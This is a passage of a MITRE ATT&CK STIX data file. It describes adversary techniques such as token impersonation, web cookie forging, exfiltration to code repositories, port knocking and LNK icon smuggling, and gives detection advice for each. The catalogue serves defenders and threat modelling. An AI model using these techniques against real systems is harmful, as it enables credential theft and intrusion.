about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", "modified": "2022-05-03T02:39:29.314Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Execution Guardrails", "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Host Forensic Analysis", "Signature-based Detection", "Static File Analysis"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Regina Elwell", "Isif Ibrahima, Mandiant"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156", "created": "2021-10-01T17:58:26.445Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1619", "url": "https://attack.mitre.org/techniques/T1619"}, {"source_name": "ListObjectsV2", "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html", "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021."}, {"source_name": "List Blobs", "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs", "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .", "modified": "2022-04-11T22:29:43.677Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Cloud Storage Object Discovery", "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Cloud Storage: Cloud Storage Access", "Cloud Storage: Cloud Storage Enumeration"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-19T21:25:10.511Z", "name": "Web Cookies", "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Jack Burns, HubSpot"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "SaaS", "IaaS"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Web Credential: Web Credential Usage"], "type": "attack-pattern", "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", "created": "2020-12-17T02:14:34.178Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1606/001", "external_id": "T1606.001"}, {"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}, {"source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}, {"source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-30T22:18:46.711Z", "name": "Log Enumeration", "description": "Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Bilal Bahad\u0131r Yenici"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "IaaS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Access", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969", "created": "2023-07-10T16:50:57.587Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1654", "external_id": "T1654"}, {"source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console", "description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.", "url": "https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial"}, {"source_name": "Cadet Blizzard emerges as novel threat actor", "description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}, {"source_name": "WithSecure Lazarus-NoPineapple Threat Intel Report 2023", "description": "Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023.", "url": "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-10T17:57:36.177Z", "name": "Token Impersonation/Theft", "description": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Jonny Johnson"], "x_mitre_deprecated": false, "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Windows User Account Control", "System access controls", "File system access controls"], "type": "attack-pattern", "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", "created": "2020-02-18T16:39:06.289Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1134/001", "external_id": "T1134.001"}, {"source_name": "Microsoft Command-line Logging", "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}, {"source_name": "DuplicateToken function", "description": "Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.", "url": "https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-15T19:08:16.882Z", "name": "Exfiltration to Code Repository", "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Command: Command Execution", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7", "created": "2020-03-09T14:51:11.772Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1567/001", "external_id": "T1567.001"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-14T22:27:04.095Z", "name": "Cloud Services", "description": "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Office 365", "Azure AD", "SaaS", "IaaS", "Google Workspace"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0", "created": "2023-02-21T19:38:13.371Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/007", "external_id": "T1021.007"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd", "type": "attack-pattern", "created": "2020-07-01T18:23:25.002Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1205.001", "url": "https://attack.mitre.org/techniques/T1205/001"}, {"url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631", "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", "source_name": "Hartrell cd00r 2002"}], "modified": "2022-03-11T18:31:23.996Z", "name": "Port Knocking", "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow"], "x_mitre_permissions_required": ["User"]}, {"modified": "2023-10-17T02:12:05.242Z", "name": "LNK Icon Smuggling", "description": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Michael Raggi @aRtAGGI", "Andrew Northern, @ex_raritas", "Gregory Lesnewich, @greglesnewich"], "x_mitre_deprecated": false, "x_mitre_detection": "\n", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Metadata", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc", "created": "2023-09-29T15:28:42.409Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/012", "external_id": "T1027.012"}, {"source_name": "Unprotect Shortcut", "description": "Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.", "url": "https://unprotect.it/technique/shortcut-hiding/"}, {"source_name": "Booby Trap Shortcut 2017", "description": "Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023.", "url": "https://www.uperesia.com/booby-trapped-shortcut"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-16T22:47:59.395Z", "name": "Web Services", "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Dor Edry, Microsoft"], "x_mitre_deprecated": false, "x_mitre_detection": "Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "created": "2020-10-01T00:50:29.936Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/006", "external_id": "T1583.006"}, {"source_name": "FireEye APT29", "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-24T19:41:54.832Z", "name": "Steal Application Access Token", "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)  Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)  Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.  \n\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Suzy Schapperle - Microsoft Azure Red Team", "Shailesh Tiwary (Indian Army)", "Mark Wee", "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", "Ram Pliskin, Microsoft Azure Security Center", "Jack Burns, HubSpot"], "x_mitre_deprecated": false, "x_mitre_detection": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["SaaS", "Office 365", "Azure AD", "Google Workspace", "Containers"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Active Directory: Active Directory Object Modification", "User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", "created": "2019-09-04T15:54:25.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1528", "external_id": "T1528"}, {"source_name": "Amnesty OAuth Phishing Attacks, August 2019", "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.", "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"}, {"source_name": "Auth0 Understanding Refresh Tokens", "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021.", "url": "https://auth0.com/learn/refresh-tokens/"}, {"source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"}, {"source_name": "Cider Security Top 10 CICD Security Risks", "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.", "url": "https://www.cidersecurity.io/top-10-cicd-security-risks/"}, {"source_name": "Trend Micro Pawn Storm OAuth 2017", "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"}, {"source_name": "Kubernetes Service Accounts", "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.", "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"}, {"source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019", "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"}, {"source_name": "Microsoft - Azure AD App Registration - May 2019", "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"}, {"source_name": "Microsoft - OAuth Code Authorization flow - June 2019", "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"}, {"source_name": "Microsoft Identity Platform Protocols May 2019", "description": "Microsoft. (n.d.). Retrieved September 12, 2019.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], 